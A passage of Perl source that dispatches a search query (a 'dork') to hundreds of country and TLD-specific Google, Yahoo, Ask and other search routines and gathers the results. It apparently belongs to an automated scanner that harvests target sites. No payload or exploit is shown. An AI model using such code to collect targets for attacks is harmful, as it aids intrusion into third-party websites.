if ($engine eq "ae") { my @ae = &silk($dork,"ae"); push(@total,@ae); }
if ($engine eq "by") { my @ae = &silk($dork,"by"); push(@total,@ae); }
if ($engine eq "ar") { my @ar = &silk($dork,"ar"); push(@total,@ar); }
if ($engine eq "at") { my @at = &silk($dork,"at"); push(@total,@at); }
if ($engine eq "au") { my @au = &silk($dork,"au"); push(@total,@au); }
if ($engine eq "br") { my @br = &silk($dork,"br"); push(@total,@br); }
if ($engine eq "ca") { my @ca = &silk($dork,"ca"); push(@total,@ca); }
if ($engine eq "cl") { my @cl = &silk($dork,"cl"); push(@total,@cl); }
if ($engine eq "cn") { my @cn = &silk($dork,"cn"); push(@total,@cn); }
if ($engine eq "cz") { my @cz = &silk($dork,"cz"); push(@total,@cz); }
if ($engine eq "de") { my @de = &silk($dork,"de"); push(@total,@de); }
if ($engine eq "dk") { my @dk = &silk($dork,"dk"); push(@total,@dk); }
if ($engine eq "es") { my @es = &silk($dork,"es"); push(@total,@es); }
if ($engine eq "eu") { my @eu = &silk($dork,"eu"); push(@total,@eu); }
if ($engine eq "fr") { my @fr = &silk($dork,"fr"); push(@total,@fr); }
if ($engine eq "hu") { my @hu = &silk($dork,"hu"); push(@total,@hu); }
if ($engine eq "id") { my @id = &silk($dork,"id"); push(@total,@id); }
if ($engine eq "il") { my @il = &silk($dork,"il"); push(@total,@il); }
if ($engine eq "in") { my @in = &silk($dork,"in"); push(@total,@in); }
if ($engine eq "it") { my @it = &silk($dork,"it"); push(@total,@it); }
if ($engine eq "jp") { my @jp = &silk($dork,"jp"); push(@total,@jp); }
if ($engine eq "kr") { my @kr = &silk($dork,"kr"); push(@total,@kr); }
if ($engine eq "mx") { my @mx = &silk($dork,"mx"); push(@total,@mx); }
if ($engine eq "my") { my @my = &silk($dork,"my"); push(@total,@my); }
if ($engine eq "nl") { my @nl = &silk($dork,"nl"); push(@total,@nl); }
if ($engine eq "ph") { my @ph = &silk($dork,"ph"); push(@total,@ph); }
if ($engine eq "pl") { my @pl = &silk($dork,"pl"); push(@total,@pl); }
if ($engine eq "ro") { my @ro = &silk($dork,"ro"); push(@total,@ro); }
if ($engine eq "ru") { my @ru = &silk($dork,"ru"); push(@total,@ru); }
if ($engine eq "th") { my @th = &silk($dork,"th"); push(@total,@th); }
if ($engine eq "ua") { my @ua = &silk($dork,"ua"); push(@total,@ua); }
if ($engine eq "uk") { my @uk = &silk($dork,"uk"); push(@total,@uk); }
if ($engine eq "us") { my @us = &silk($dork,"us"); push(@total,@us); }
if ($engine eq "si") { my @si = &silk($dork,"si"); push(@total,@si); }
if ($engine eq "be") { my @be = &silk($dork,"be"); push(@total,@be); }
if ($engine eq "tv") { my @tv = &silk($dork,"tv"); push(@total,@tv); }
if ($engine eq "cc") { my @cc = &silk($dork,"cc"); push(@total,@cc); }
if ($engine eq "as") { my @as = &silk($dork,"as"); push(@total,@as); }
if ($engine eq "ai") { my @ai = &silk($dork,"ai"); push(@total,@ai); }
if ($engine eq "ag") { my @ag = &silk($dork,"ag"); push(@total,@ag); }
if ($engine eq "az") { my @az = &silk($dork,"az",); push(@total,@az); }
if ($engine eq "bh") { my @bh = &silk($dork,"bh"); push(@total,@bh); }
if ($engine eq "bd") { my @bd = &silk($dork,"bd"); push(@total,@bd); }
if ($engine eq "bz") { my @bz = &silk($dork,"bz"); push(@total,@bz); }
if ($engine eq "bo") { my @bo = &silk($dork,"bo"); push(@total,@bo); }
if ($engine eq "ba") { my @ba = &silk($dork,"ba"); push(@total,@ba); }
if ($engine eq "vg") { my @vg = &silk($dork,"vg"); push(@total,@vg); }
if ($engine eq "bg") { my @bg = &silk($dork,"bg"); push(@total,@bg); }
if ($engine eq "bi") { my @bi = &silk($dork,"bi"); push(@total,@bi); }
if ($engine eq "co") { my @co = &silk($dork,"co"); push(@total,@co); }
if ($engine eq "cd") { my @cd = &silk($dork,"cd"); push(@total,@cd); }
if ($engine eq "cg") { my @cg = &silk($dork,"cg"); push(@total,@cg); }
if ($engine eq "ck") { my @ck = &silk($dork,"ck"); push(@total,@ck); }
if ($engine eq "cr") { my @cr = &silk($dork,"cr"); push(@total,@cr); }
if ($engine eq "hr") { my @hr = &silk($dork,"hr"); push(@total,@hr); }
if ($engine eq "cu") { my @cu = &silk($dork,"cu"); push(@total,@cu); }
if ($engine eq "ci") { my @ci = &silk($dork,"ci"); push(@total,@ci); }
if ($engine eq "dj") { my @dj = &silk($dork,"dj"); push(@total,@dj); }
if ($engine eq "dm") { my @dm = &silk($dork,"dm"); push(@total,@dm); }
if ($engine eq "do") { my @do = &silk($dork,"do"); push(@total,@do); }
if ($engine eq "ec") { my @ec = &silk($dork,"ec"); push(@total,@ec); }
if ($engine eq "eg") { my @eg = &silk($dork,"eg"); push(@total,@eg); }
if ($engine eq "sv") { my @sv = &silk($dork,"sv"); push(@total,@sv); }
if ($engine eq "ee") { my @ee = &silk($dork,"ee"); push(@total,@ee); }
if ($engine eq "et") { my @et = &silk($dork,"et"); push(@total,@et); }
if ($engine eq "fj") { my @fj = &silk($dork,"fj"); push(@total,@fj); }
if ($engine eq "fi") { my @fi = &silk($dork,"fi"); push(@total,@fi); }
if ($engine eq "gm") { my @gm = &silk($dork,"gm"); push(@total,@gm); }
if ($engine eq "gi") { my @gi = &silk($dork,"gi"); push(@total,@gi); }
if ($engine eq "gr") { my @gr = &silk($dork,"gr"); push(@total,@gr); }
if ($engine eq "gl") { my @gl = &silk($dork,"gl"); push(@total,@gl); }
if ($engine eq "gt") { my @gt = &silk($dork,"gt"); push(@total,@gt); }
if ($engine eq "gg") { my @gg = &silk($dork,"gg"); push(@total,@gg); }
if ($engine eq "ht") { my @ht = &silk($dork,"ht"); push(@total,@ht); }
if ($engine eq "hn") { my @hn = &silk($dork,"hn"); push(@total,@hn); }
if ($engine eq "hk") { my @hk = &silk($dork,"hk"); push(@total,@hk); }
if ($engine eq "is") { my @is = &silk($dork,"is"); push(@total,@is); }
if ($engine eq "ie") { my @ie = &silk($dork,"ie"); push(@total,@ie); }
if ($engine eq "im") { my @im = &silk($dork,"im"); push(@total,@im); }
if ($engine eq "je") { my @je = &silk($dork,"je"); push(@total,@je); }
if ($engine eq "jo") { my @jo = &silk($dork,"jo"); push(@total,@jo); }
if ($engine eq "kz") { my @kz = &silk($dork,"kz"); push(@total,@kz); }
if ($engine eq "ke") { my @ke = &silk($dork,"ke"); push(@total,@ke); }
if ($engine eq "ir") { my @ir = &silk($dork,"ir"); push(@total,@ir); }
if ($engine eq "vn") { my @vn = &silk($dork,"vn"); push(@total,@vn); }
if ($engine eq "kg") { my @kg = &silk($dork,"kg"); push(@total,@kg); }
if ($engine eq "lv") { my @lv = &silk($dork,"lv"); push(@total,@lv); }
if ($engine eq "ls") { my @ls = &silk($dork,"ls"); push(@total,@ls); }
if ($engine eq "ly") { my @ly = &silk($dork,"ly"); push(@total,@ly); }
if ($engine eq "li") { my @li = &silk($dork,"li"); push(@total,@li); }
if ($engine eq "lt") { my @lt = &silk($dork,"lt"); push(@total,@lt); }
if ($engine eq "lu") { my @lu = &silk($dork,"lu"); push(@total,@lu); }
if ($engine eq "mw") { my @mw = &silk($dork,"mw"); push(@total,@mw); }
if ($engine eq "mt") { my @mt = &silk($dork,"mt"); push(@total,@mt); }
if ($engine eq "mu") { my @mu = &silk($dork,"mu"); push(@total,@mu); }
if ($engine eq "fm") { my @fm = &silk($dork,"fm"); push(@total,@fm); }
if ($engine eq "mn") { my @mn = &silk($dork,"mn"); push(@total,@mn); }
if ($engine eq "ms") { my @ms = &silk($dork,"ms"); push(@total,@ms); }
if ($engine eq "ma") { my @ma = &silk($dork,"ma"); push(@total,@ma); }
if ($engine eq "na") { my @na = &silk($dork,"na"); push(@total,@na); }
if ($engine eq "np") { my @np = &silk($dork,"np"); push(@total,@np); }
if ($engine eq "nz") { my @nz = &silk($dork,"nz"); push(@total,@nz); }
if ($engine eq "ni") { my @ni = &silk($dork,"ni"); push(@total,@ni); }
if ($engine eq "nf") { my @nf = &silk($dork,"nf"); push(@total,@nf); }
if ($engine eq "no") { my @no = &silk($dork,"no"); push(@total,@no); }
if ($engine eq "om") { my @om = &silk($dork,"om"); push(@total,@om); }
if ($engine eq "pk") { my @pk = &silk($dork,"pk"); push(@total,@pk); }
if ($engine eq "pa") { my @pa = &silk($dork,"pa"); push(@total,@pa); }
if ($engine eq "py") { my @py = &silk($dork,"py"); push(@total,@py); }
if ($engine eq "pe") { my @pe = &silk($dork,"pe"); push(@total,@pe); }
if ($engine eq "pn") { my @pn = &silk($dork,"pn"); push(@total,@pn); }
if ($engine eq "pt") { my @pt = &silk($dork,"pt"); push(@total,@pt); }
if ($engine eq "pr") { my @pr = &silk($dork,"pr"); push(@total,@pr); }
if ($engine eq "qa") { my @qa = &silk($dork,"qa"); push(@total,@qa); }
if ($engine eq "rw") { my @rw = &silk($dork,"rw"); push(@total,@rw); }
if ($engine eq "sh") { my @sh = &silk($dork,"sh"); push(@total,@sh); }
if ($engine eq "sm") { my @sm = &silk($dork,"sm"); push(@total,@sm); }
if ($engine eq "sa") { my @sa = &silk($dork,"sa"); push(@total,@sa); }
if ($engine eq "sn") { my @sn = &silk($dork,"sn"); push(@total,@sn); }
if ($engine eq "sc") { my @sc = &silk($dork,"sc"); push(@total,@sc); }
if ($engine eq "sg") { my @sg = &silk($dork,"sg"); push(@total,@sg); }
if ($engine eq "sk") { my @sk = &silk($dork,"sk"); push(@total,@sk); }
if ($engine eq "za") { my @za = &silk($dork,"za"); push(@total,@za); }
if ($engine eq "lk") { my @lk = &silk($dork,"lk"); push(@total,@lk); }
if ($engine eq "vc") { my @vc = &silk($dork,"vc"); push(@total,@vc); }
if ($engine eq "se") { my @se = &silk($dork,"se"); push(@total,@se); }
if ($engine eq "ch") { my @ch = &silk($dork,"ch"); push(@total,@ch); }
if ($engine eq "tw") { my @tw = &silk($dork,"tw"); push(@total,@tw); }
if ($engine eq "tj") { my @tj = &silk($dork,"tj"); push(@total,@tj); }
if ($engine eq "bs") { my @bs = &silk($dork,"bs"); push(@total,@bs); }
if ($engine eq "to") { my @to = &silk($dork,"to"); push(@total,@to); }
if ($engine eq "tt") { my @tt = &silk($dork,"tt"); push(@total,@tt); }
if ($engine eq "tr") { my @tr = &silk($dork,"tr"); push(@total,@tr); }
if ($engine eq "tm") { my @tm = &silk($dork,"tm"); push(@total,@tm); }
if ($engine eq "vi") { my @vi = &silk($dork,"vi"); push(@total,@vi); }
if ($engine eq "ug") { my @ug = &silk($dork,"ug"); push(@total,@ug); }
if ($engine eq "uy") { my @uy = &silk($dork,"uy"); push(@total,@uy); }
if ($engine eq "uz") { my @uz = &silk($dork,"uz"); push(@total,@uz); }
if ($engine eq "ve") { my @ve = &silk($dork,"ve"); push(@total,@ve); }
if ($engine eq "vm") { my @vm = &silk($dork,"vm"); push(@total,@vm); }
if ($engine eq "zm") { my @zm = &silk($dork,"zm"); push(@total,@zm); }
if ($engine eq "ws") { my @ws = &silk($dork,"ws"); push(@total,@ws); }
if ($engine eq "af") { my @af = &silk($dork,"af"); push(@total,@af); }
if ($engine eq "ax") { my @ax = &silk($dork,"ax"); push(@total,@ax); }
if ($engine eq "al") { my @al = &silk($dork,"al"); push(@total,@al); }
if ($engine eq "dz") { my @dz = &silk($dork,"dz"); push(@total,@dz); }
if ($engine eq "ao") { my @ao = &silk($dork,"ao"); push(@total,@ao); }
if ($engine eq "aq") { my @aq = &silk($dork,"aq"); push(@total,@aq); }
if ($engine eq "am") { my @am = &silk($dork,"am"); push(@total,@am); }
if ($engine eq "aw") { my @aw = &silk($dork,"aw"); push(@total,@aw); }
if ($engine eq "ac") { my @ac = &silk($dork,"ac"); push(@total,@ac); }
if ($engine eq "bj") { my @bj = &silk($dork,"bj"); push(@total,@bj); }
if ($engine eq "bm") { my @bm = &silk($dork,"bm"); push(@total,@bm); }
if ($engine eq "bt") { my @bt = &silk($dork,"bt"); push(@total,@bt); }
if ($engine eq "bw") { my @bw = &silk($dork,"bw"); push(@total,@bw); }
if ($engine eq "io") { my @io = &silk($dork,"io"); push(@total,@io); }
if ($engine eq "bn") { my @bn = &silk($dork,"bn"); push(@total,@bn); }
if ($engine eq "bf") { my @bf = &silk($dork,"bf"); push(@total,@bf); }
if ($engine eq "kh") { my @kh = &silk($dork,"kh"); push(@total,@kh); }
if ($engine eq "cm") { my @cm = &silk($dork,"cm"); push(@total,@cm); }
if ($engine eq "cv") { my @cv = &silk($dork,"cv"); push(@total,@cv); }
if ($engine eq "ky") { my @ky = &silk($dork,"ky"); push(@total,@ky); }
if ($engine eq "cf") { my @cf = &silk($dork,"cf"); push(@total,@cf); }
if ($engine eq "cx") { my @cx = &silk($dork,"cx"); push(@total,@cx); }
if ($engine eq "cw") { my @cw = &silk($dork,"cw"); push(@total,@cw); }
if ($engine eq "cy") { my @cy = &silk($dork,"cy"); push(@total,@cy); }
if ($engine eq "fk") { my @fk = &silk($dork,"fk"); push(@total,@fk); }
if ($engine eq "fo") { my @fo = &silk($dork,"fo"); push(@total,@fo); }
if ($engine eq "gh") { my @gh = &silk($dork,"gh"); push(@total,@gh); }
if ($engine eq "gd") { my @gd = &silk($dork,"gd"); push(@total,@gd); }
if ($engine eq "gp") { my @gp = &silk($dork,"gp"); push(@total,@gp); }
if ($engine eq "gu") { my @gu = &silk($dork,"gu"); push(@total,@gu); }
if ($engine eq "gn") { my @gn = &silk($dork,"gn"); push(@total,@gn); }
if ($engine eq "gy") { my @gy = &silk($dork,"gy"); push(@total,@gy); }
if ($engine eq "hm") { my @hm = &silk($dork,"hm"); push(@total,@hm); }
if ($engine eq "iq") { my @iq = &silk($dork,"iq"); push(@total,@iq); }
if ($engine eq "jm") { my @jm = &silk($dork,"jm"); push(@total,@jm); }
if ($engine eq "ki") { my @ki = &silk($dork,"ki"); push(@total,@ki); }
if ($engine eq "kw") { my @kw = &silk($dork,"kw"); push(@total,@kw); }
if ($engine eq "la") { my @la = &silk($dork,"la"); push(@total,@la); }
if ($engine eq "lb") { my @lb = &silk($dork,"lb"); push(@total,@lb); }
if ($engine eq "lr") { my @lr = &silk($dork,"lr"); push(@total,@lr); }
if ($engine eq "mo") { my @mo = &silk($dork,"mo"); push(@total,@mo); }
if ($engine eq "mg") { my @mg = &silk($dork,"mg"); push(@total,@mg); }
if ($engine eq "mv") { my @mv = &silk($dork,"mv"); push(@total,@mv); }
if ($engine eq "mp") { my @mp = &silk($dork,"mp"); push(@total,@mp); }
if ($engine eq "mq") { my @mq = &silk($dork,"mq"); push(@total,@mq); }
if ($engine eq "mr") { my @mr = &silk($dork,"mr"); push(@total,@mr); }
if ($engine eq "yt") { my @yt = &silk($dork,"yt"); push(@total,@yt); }
if ($engine eq "md") { my @md = &silk($dork,"md"); push(@total,@md); }
if ($engine eq "mc") { my @mc = &silk($dork,"mc"); push(@total,@mc); }
if ($engine eq "me") { my @me = &silk($dork,"me"); push(@total,@me); }
if ($engine eq "mz") { my @mz = &silk($dork,"mz"); push(@total,@mz); }
if ($engine eq "nr") { my @nr = &silk($dork,"nr"); push(@total,@nr); }
if ($engine eq "nc") { my @nc = &silk($dork,"nc"); push(@total,@nc); }
if ($engine eq "ng") { my @ng = &silk($dork,"ng"); push(@total,@ng); }
if ($engine eq "nu") { my @nu = &silk($dork,"nu"); push(@total,@nu); }
if ($engine eq "pw") { my @pw = &silk($dork,"pw"); push(@total,@pw); }
if ($engine eq "ps") { my @ps = &silk($dork,"ps"); push(@total,@ps); }
if ($engine eq "cq") { my @cq = &silk($dork,"cq"); push(@total,@cq); }
if ($engine eq "re") { my @re = &silk($dork,"re"); push(@total,@re); }
if ($engine eq "lc") { my @lc = &silk($dork,"lc"); push(@total,@lc); }
if ($engine eq "pm") { my @pm = &silk($dork,"pm"); push(@total,@pm); }
if ($engine eq "st") { my @st = &silk($dork,"st"); push(@total,@st); }
if ($engine eq "rs") { my @rs = &silk($dork,"rs"); push(@total,@rs); }
if ($engine eq "gs") { my @gs = &silk($dork,"gs"); push(@total,@gs); }
if ($engine eq "sl") { my @sl = &silk($dork,"sl"); push(@total,@sl); }
if ($engine eq "sx") { my @sx = &silk($dork,"sx"); push(@total,@sx); }
if ($engine eq "sb") { my @sb = &silk($dork,"sb"); push(@total,@sb); }
if ($engine eq "so") { my @so = &silk($dork,"so"); push(@total,@so); }
if ($engine eq "su") { my @su = &silk($dork,"su"); push(@total,@su); }
if ($engine eq "kn") { my @kn = &silk($dork,"kn"); push(@total,@kn); }
if ($engine eq "sr") { my @sr = &silk($dork,"sr"); push(@total,@sr); }
if ($engine eq "tz") { my @tz = &silk($dork,"tz"); push(@total,@tz); }
if ($engine eq "tl") { my @tl = &silk($dork,"tl"); push(@total,@tl); }
if ($engine eq "tg") { my @tg = &silk($dork,"tg"); push(@total,@tg); }
if ($engine eq "tk") { my @tk = &silk($dork,"tk"); push(@total,@tk); }
if ($engine eq "tn") { my @tn = &silk($dork,"tn"); push(@total,@tn); }
if ($engine eq "tc") { my @tc = &silk($dork,"tc"); push(@total,@tc); }
if ($engine eq "vu") { my @vu = &silk($dork,"vu"); push(@total,@vu); }
if ($engine eq "wf") { my @wf = &silk($dork,"wf"); push(@total,@wf); }
if ($engine eq "ye") { my @ye = &silk($dork,"ye"); push(@total,@ye); }
if ($engine eq "zw") { my @zw = &silk($dork,"zw"); push(@total,@zw); }
if ($engine eq "com") { my @com = &silk($dork,"com"); push(@total,@com); }
if ($engine eq "net") { my @net = &silk($dork,"net"); push(@total,@net); }
if ($engine eq "org") { my @org = &silk($dork,"org"); push(@total,@org); }
if ($engine eq "biz") { my @biz = &silk($dork,"biz"); push(@total,@biz); }
if ($engine eq "xxx") { my @xxx = &silk($dork,"xxx"); push(@total,@xxx); }
if ($engine eq "tel") { my @tel = &silk($dork,"tel"); push(@total,@tel); }
if ($engine eq "mil") { my @mil = &silk($dork,"mil"); push(@total,@mil); }
if ($engine eq "pro") { my @pro = &silk($dork,"pro"); push(@total,@pro); }
if ($engine eq "edu") { my @edu = &silk($dork,"edu"); push(@total,@edu); }
if ($engine eq "gov") { my @gov = &silk($dork,"gov"); push(@total,@gov); }
if ($engine eq "cat") { my @cat = &silk($dork,"cat"); push(@total,@cat); }
if ($engine eq "info") { my @info = &silk($dork,"info"); push(@total,@info); }
if ($engine eq "asia") { my @asia = &silk($dork,"asia"); push(@total,@asia); }
if ($engine eq "name") { my @name = &silk($dork,"name"); push(@total,@name); }
if ($engine eq "jobs") { my @jobs = &silk($dork,"jobs"); push(@total,@jobs); }
if ($engine eq "mobi") { my @mobi = &silk($dork,"mobi"); push(@total,@mobi); }
if ($engine eq "aero") { my @aero = &silk($dork,"aero"); push(@total,@aero); }
if ($engine eq "coop") { my @coop = &silk($dork,"coop"); push(@total,@coop); }
if ($engine eq "travel") { my @travel = &silk($dork,"travel"); push(@total,@travel); }
if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
if ($engine eq "GooGleCA") { my @googleCA = &googleCA($dork); push(@total,@googleCA); }
if ($engine eq "GooGleDE") { my @googleDE = &googleDE($dork); push(@total,@googleDE); }
if ($engine eq "GooGleUK") { my @googleUK = &googleUK($dork); push(@total,@googleUK); }
if ($engine eq "GooGleFR") { my @googleFR = &googleFR($dork); push(@total,@googleFR); }
if ($engine eq "GooGleES") { my @googleES = &googleES($dork); push(@total,@googleES); }
if ($engine eq "GooGleIT") { my @googleIT = &googleIT($dork); push(@total,@googleIT); }
if ($engine eq "GooGleNL") { my @googleNL = &googleNL($dork); push(@total,@googleNL); }
if ($engine eq "GooGleBE") { my @googleBE = &googleBE($dork); push(@total,@googleBE); }
if ($engine eq "GooGleCH") { my @googleCH = &googleCH($dork); push(@total,@googleCH); }
if ($engine eq "GooGleSE") { my @googleSE = &googleSE($dork); push(@total,@googleSE); }
if ($engine eq "GooGleDK") { my @googleDK = &googleDK($dork); push(@total,@googleDK); }
if ($engine eq "GooGleNO") { my @googleNO = &googleNO($dork); push(@total,@googleNO); }
if ($engine eq "GooGleNZ") { my @googleNZ = &googleNZ($dork); push(@total,@googleNZ); }
if ($engine eq "GooGleIE") { my @googleIE = &googleIE($dork); push(@total,@googleIE); }
if ($engine eq "GooGleBR") { my @googleBR = &googleBR($dork); push(@total,@googleBR); }
if ($engine eq "GooGleAR") { my @googleAR = &googleAR($dork); push(@total,@googleAR); }
if ($engine eq "GooGleCO") { my @googleCO = &googleCO($dork); push(@total,@googleCO); }
if ($engine eq "GooGleCU") { my @googleCU = &googleCU($dork); push(@total,@googleCU); }
if ($engine eq "GooGleCL") { my @googleCL = &googleCL($dork); push(@total,@googleCL); }
if ($engine eq "GooGleMX") { my @googleMX = &googleMX($dork); push(@total,@googleMX); }
if ($engine eq "GooGleAU") { my @googleAU = &googleAU($dork); push(@total,@googleAU); }
if ($engine eq "GooGleRU") { my @googleRU = &googleRU($dork); push(@total,@googleRU); }
if ($engine eq "GooGleAT") { my @googleAT = &googleAT($dork); push(@total,@googleAT); }
if ($engine eq "GooGlePL") { my @googlePL = &googlePL($dork); push(@total,@googlePL); }
if ($engine eq "GooGleIL") { my @googleIL = &googleIL($dork); push(@total,@googleIL); }
if ($engine eq "GooGleTR") { my @googleTR = &googleTR($dork); push(@total,@googleTR); }
if ($engine eq "GooGleUA") { my @googleUA = &googleUA($dork); push(@total,@googleUA); }
if ($engine eq "GooGleGR") { my @googleGR = &googleGR($dork); push(@total,@googleGR); }
if ($engine eq "GooGleJP") { my @googleJP = &googleJP($dork); push(@total,@googleJP); }
if ($engine eq "GooGleCN") { my @googleCN = &googleCN($dork); push(@total,@googleCN); }
if ($engine eq "GooGleMY") { my @googleMY = &googleMY($dork); push(@total,@googleMY); }
if ($engine eq "GooGleTH") { my @googleTH = &googleTH($dork); push(@total,@googleTH); }
if ($engine eq "GooGleIN") { my @googleIN = &googleIN($dork); push(@total,@googleIN); }
if ($engine eq "GooGleKR") { my @googleKR = &googleKR($dork); push(@total,@googleKR); }
if ($engine eq "GooGleRO") { my @googleRO = &googleRO($dork); push(@total,@googleRO); }
if ($engine eq "GooGleTW") { my @googleTW = &googleTW($dork); push(@total,@googleTW); }
if ($engine eq "GooGleZA") { my @googleZA = &googleZA($dork); push(@total,@googleZA); }
if ($engine eq "GooGlePT") { my @googlePT = &googlePT($dork); push(@total,@googlePT); }
if ($engine eq "GooGleID") { my @googleID = &googleID($dork); push(@total,@googleID); }
if ($engine eq "GooGleKE") { my @googleKE = &googleKE($dork); push(@total,@googleKE); }
if ($engine eq "GooGleEC") { my @googleEC = &googleEC($dork); push(@total,@googleEC); }
if ($engine eq "GooGleVN") { my @googleVN = &googleVN($dork); push(@total,@googleVN); }
if ($engine eq "GooGleZM") { my @googleZM = &googleZM($dork); push(@total,@googleZM); }
if ($engine eq "GooGlePH") { my @googlePH = &googlePH($dork); push(@total,@googlePH); }
if ($engine eq "GooGleBY") { my @googleBY = &googleBY($dork); push(@total,@googleBY); }
if ($engine eq "googleSG") { my @googleSG = &googleSG($dork); push(@total,@googleSG); }
if ($engine eq "googleBG") { my @googleBG = &googleBG($dork); push(@total,@googleBG); }
if ($engine eq "googleKZ") { my @googleKZ = &googleKZ($dork); push(@total,@googleKZ); }
if ($engine eq "googleMA") { my @googleMA = &googleMA($dork); push(@total,@googleMA); }
if ($engine eq "googleEE") { my @googleEE = &googleEE($dork); push(@total,@googleEE); }
if ($engine eq "googleNU") { my @googleNU = &googleNU($dork); push(@total,@googleNU); }
if ($engine eq "googleLI") { my @googleLI = &googleLI($dork); push(@total,@googleLI); }
if ($engine eq "googleSA") { my @googleSA = &googleSA($dork); push(@total,@googleSA); }
if ($engine eq "googleMU") { my @googleMU = &googleMU($dork); push(@total,@googleMU); }
if ($engine eq "googleMK") { my @googleMK = &googleMK($dork); push(@total,@googleMK); }
if ($engine eq "googleAM") { my @googleAM = &googleAM($dork); push(@total,@googleAM); }
if ($engine eq "googleBO") { my @googleBO = &googleBO($dork); push(@total,@googleBO); }
if ($engine eq "googleCY") { my @googleCY = &googleCY($dork); push(@total,@googleCY); }
if ($engine eq "googleLU") { my @googleLU = &googleLU($dork); push(@total,@googleLU); }
if ($engine eq "googlePR") { my @googlePR = &googlePR($dork); push(@total,@googlePR); }
if ($engine eq "googlePE") { my @googlePE = &googlePE($dork); push(@total,@googlePE); }
if ($engine eq "googleMZ") { my @googleMZ = &googleMZ($dork); push(@total,@googleMZ); }
if ($engine eq "googleET") { my @googleET = &googleET($dork); push(@total,@googleET); }
if ($engine eq "googleAS") { my @googleAS = &googleAS($dork); push(@total,@googleAS); }
if ($engine eq "googleAI") { my @googleAI = &googleAI($dork); push(@total,@googleAI); }
if ($engine eq "googleBA") { my @googleBA = &googleBA($dork); push(@total,@googleBA); }
if ($engine eq "googleCG") { my @googleCG = &googleCG($dork); push(@total,@googleCG); }
if ($engine eq "googleDM") { my @googleDM = &googleDM($dork); push(@total,@googleDM); }
if ($engine eq "googleGT") { my @googleGT = &googleGT($dork); push(@total,@googleGT); }
if ($engine eq "googleFJ") { my @googleFJ = &googleFJ($dork); push(@total,@googleFJ); }
if ($engine eq "googleAF") { my @googleAF = &googleAF($dork); push(@total,@googleAF); }
if ($engine eq "googleAG") { my @googleAG = &googleAG($dork); push(@total,@googleAG); }
if ($engine eq "googleAO") { my @googleAO = &googleAO($dork); push(@total,@googleAO); }
if ($engine eq "googleAZ") { my @googleAZ = &googleAZ($dork); push(@total,@googleAZ); }
if ($engine eq "googleBD") { my @googleBD = &googleBD($dork); push(@total,@googleBD); }
if ($engine eq "googleBF") { my @googleBF = &googleBF($dork); push(@total,@googleBF); }
if ($engine eq "googleBH") { my @googleBH = &googleBH($dork); push(@total,@googleBH); }
if ($engine eq "googleBI") { my @googleBI = &googleBI($dork); push(@total,@googleBI); }
if ($engine eq "googleBJ") { my @googleBJ = &googleBJ($dork); push(@total,@googleBJ); }
if ($engine eq "googleBN") { my @googleBN = &googleBN($dork); push(@total,@googleBN); }
if ($engine eq "googleBW") { my @googleBW = &googleBW($dork); push(@total,@googleBW); }
if ($engine eq "googleBZ") { my @googleBZ = &googleBZ($dork); push(@total,@googleBZ); }
if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
if ($engine eq "YahOoCA") { my @yahooCA = yahooCA($dork); push(@total,@yahooCA); }
if ($engine eq "YahOoUK") { my @yahooUK = yahooUK($dork); push(@total,@yahooUK); }
if ($engine eq "YahOoDE") { my @yahooDE = yahooDE($dork); push(@total,@yahooDE); }
if ($engine eq "YahOoFR") { my @yahooFR = yahooFR($dork); push(@total,@yahooFR); }
if ($engine eq "YahOoES") { my @yahooES = yahooES($dork); push(@total,@yahooES); }
if ($engine eq "YahOoIT") { my @yahooIT = yahooIT($dork); push(@total,@yahooIT); }
if ($engine eq "YahOoHK") { my @yahooHK = yahooHK($dork); push(@total,@yahooHK); }
if ($engine eq "YahOoID") { my @yahooID = yahooID($dork); push(@total,@yahooID); }
if ($engine eq "YahOoIN") { my @yahooIN = yahooIN($dork); push(@total,@yahooIN); }
if ($engine eq "YahOoAU") { my @yahooAU = yahooAU($dork); push(@total,@yahooAU); }
if ($engine eq "YahOoMX") { my @yahooMX = yahooMX($dork); push(@total,@yahooMX); }
if ($engine eq "YahOoTW") { my @yahooTW = yahooTW($dork); push(@total,@yahooTW); }
if ($engine eq "YahOoBR") { my @yahooBR = yahooBR($dork); push(@total,@yahooBR); }
if ($engine eq "YahOoAR") { my @yahooAR = yahooAR($dork); push(@total,@yahooAR); }
if ($engine eq "YahOoNL") { my @yahooNL = yahooNL($dork); push(@total,@yahooNL); }
if ($engine eq "YahOoDK") { my @yahooDK = yahooDK($dork); push(@total,@yahooDK); }
if ($engine eq "YahOoPH") { my @yahooPH = yahooPH($dork); push(@total,@yahooPH); }
if ($engine eq "YahOoCL") { my @yahooCL = yahooCL($dork); push(@total,@yahooCL); }
if ($engine eq "YahOoRU") { my @yahooRU = yahooRU($dork); push(@total,@yahooRU); }
if ($engine eq "YahOoCH") { my @yahooCH = yahooCH($dork); push(@total,@yahooCH); }
if ($engine eq "YahOoCO") { my @yahooCO = yahooCO($dork); push(@total,@yahooCO); }
if ($engine eq "YahOoFI") { my @yahooFI = yahooFI($dork); push(@total,@yahooFI); }
if ($engine eq "YahOoRO") { my @yahooRO = yahooRO($dork); push(@total,@yahooRO); }
if ($engine eq "YahOoVE") { my @yahooVE = yahooVE($dork); push(@total,@yahooVE); }
if ($engine eq "YahOoAT") { my @yahooAT = yahooAT($dork); push(@total,@yahooAT); }
if ($engine eq "YahOoPL") { my @yahooPL = yahooPL($dork); push(@total,@yahooPL); }
if ($engine eq "YahOoKR") { my @yahooKR = yahooKR($dork); push(@total,@yahooKR); }
if ($engine eq "YahOoNZ") { my @yahooNZ = yahooNZ($dork); push(@total,@yahooNZ); }
if ($engine eq "YahOoGR") { my @yahooGR = yahooGR($dork); push(@total,@yahooGR); }
if ($engine eq "YahOoPE") { my @yahooPE = yahooPE($dork); push(@total,@yahooPE); }
if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); }
if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); }
if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); }
if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); }
if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); }
if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); }
if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); }
